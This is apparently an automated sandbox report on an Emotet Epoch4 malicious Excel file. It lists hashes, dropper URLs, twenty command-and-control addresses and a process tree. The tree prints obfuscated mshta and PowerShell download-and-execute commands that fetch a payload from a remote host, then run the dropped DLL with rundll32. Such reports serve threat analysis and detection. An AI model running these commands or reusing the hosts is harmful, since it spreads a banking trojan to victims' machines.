emotet | b5f14957c35e6c611a110abe8900849cb464402b6ad06bf245df1ad35b5e3ba8

General

Target

b5f14957c35e6c611a110abe8900849cb464402b6ad06bf245df1ad35b5e3ba8.xls
Size

127KB
MD5

c7c615f9680557563b23af2e2cd52d58
SHA1

4482b5d54194999f8f63bcb5fbce81e3b744d709
SHA256

b5f14957c35e6c611a110abe8900849cb464402b6ad06bf245df1ad35b5e3ba8
SHA512

8da92cda6cebb7bab88d0854154364b79c0e3f33806e54ae37f522797e306db503de12359703a22207e961aa1938576e55e8c7b7db39c7795cf617f2c4369c20

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/cc.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/PP91.PNG

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2252	2696	cmd.exe	68

Blocklisted process makes network request 6 IoCs

flow	pid	Process
25	1972	mshta.exe
30	3620	powershell.exe
32	3620	powershell.exe
34	3620	powershell.exe
44	664	rundll32.exe
45	664	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
4064	rundll32.exe
744	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Wxebpmmrvje\fyhroznurltmw.slk	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3200	1972	WerFault.exe	72

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2696	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3620	powershell.exe
3620	powershell.exe
3620	powershell.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
3200	WerFault.exe
664	rundll32.exe
664	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3620	powershell.exe
Token: SeDebugPrivilege	3200	WerFault.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2696	EXCEL.EXE
2696	EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2696 wrote to memory of 2252	2696	EXCEL.EXE	70
PID 2696 wrote to memory of 2252	2696	EXCEL.EXE	70
PID 2252 wrote to memory of 1972	2252	cmd.exe	72
PID 2252 wrote to memory of 1972	2252	cmd.exe	72
PID 1972 wrote to memory of 3620	1972	mshta.exe	76
PID 1972 wrote to memory of 3620	1972	mshta.exe	76
PID 3620 wrote to memory of 3604	3620	powershell.exe	78
PID 3620 wrote to memory of 3604	3620	powershell.exe	78
PID 3604 wrote to memory of 4064	3604	cmd.exe	79
PID 3604 wrote to memory of 4064	3604	cmd.exe	79
PID 3604 wrote to memory of 4064	3604	cmd.exe	79
PID 4064 wrote to memory of 744	4064	rundll32.exe	80
PID 4064 wrote to memory of 744	4064	rundll32.exe	80
PID 4064 wrote to memory of 744	4064	rundll32.exe	80
PID 744 wrote to memory of 1280	744	rundll32.exe	81
PID 744 wrote to memory of 1280	744	rundll32.exe	81
PID 744 wrote to memory of 1280	744	rundll32.exe	81
PID 1280 wrote to memory of 664	1280	rundll32.exe	82
PID 1280 wrote to memory of 664	1280	rundll32.exe	82
PID 1280 wrote to memory of 664	1280	rundll32.exe	82

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b5f14957c35e6c611a110abe8900849cb464402b6ad06bf245df1ad35b5e3ba8.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2696
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2252
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/cc.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:1972
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1972 -s 1656
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3200
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3620
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3604
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:4064
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:744
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Wxebpmmrvje\fyhroznurltmw.slk",sUPTiZkRg
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1280
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Wxebpmmrvje\fyhroznurltmw.slk",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:664

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/664-621-0x0000000004F50000-0x0000000004F76000-memory.dmp

Filesize
152KB

Download
memory/664-619-0x0000000004E50000-0x0000000004E76000-memory.dmp

Filesize
152KB

Download
memory/744-616-0x0000000004BB0000-0x0000000004BD6000-memory.dmp

Filesize
152KB

Download
memory/744-614-0x0000000004A50000-0x0000000004A76000-memory.dmp

Filesize
152KB

Download
memory/744-612-0x00000000049F0000-0x0000000004A16000-memory.dmp

Filesize
152KB

Download
memory/744-608-0x0000000004670000-0x0000000004696000-memory.dmp

Filesize
152KB

Download
memory/744-605-0x0000000000D30000-0x0000000000D56000-memory.dmp

Filesize
152KB

Download
memory/1280-617-0x0000000001140000-0x0000000001166000-memory.dmp

Filesize
152KB

Download
memory/2696-117-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2696-118-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2696-121-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2696-115-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2696-128-0x00007FFFB4270000-0x00007FFFB4280000-memory.dmp

Filesize
64KB

Download
memory/2696-659-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2696-658-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2696-129-0x00007FFFB4270000-0x00007FFFB4280000-memory.dmp

Filesize
64KB

Download
memory/2696-660-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2696-657-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/2696-116-0x00007FFFB7DE0000-0x00007FFFB7DF0000-memory.dmp

Filesize
64KB

Download
memory/3620-292-0x000002A2FF420000-0x000002A2FF45C000-memory.dmp

Filesize
240KB

Download
memory/3620-306-0x000002A2FF4E0000-0x000002A2FF556000-memory.dmp

Filesize
472KB

Download
memory/3620-297-0x000002A2E68E0000-0x000002A2E6992000-memory.dmp

Filesize
712KB

Download
memory/3620-298-0x000002A2E68E0000-0x000002A2E6992000-memory.dmp

Filesize
712KB

Download
memory/3620-272-0x000002A2FF060000-0x000002A2FF082000-memory.dmp

Filesize
136KB

Download
memory/3620-311-0x000002A2E68E0000-0x000002A2E6992000-memory.dmp

Filesize
712KB

Download
memory/4064-602-0x00000000011B0000-0x00000000011D6000-memory.dmp

Filesize
152KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads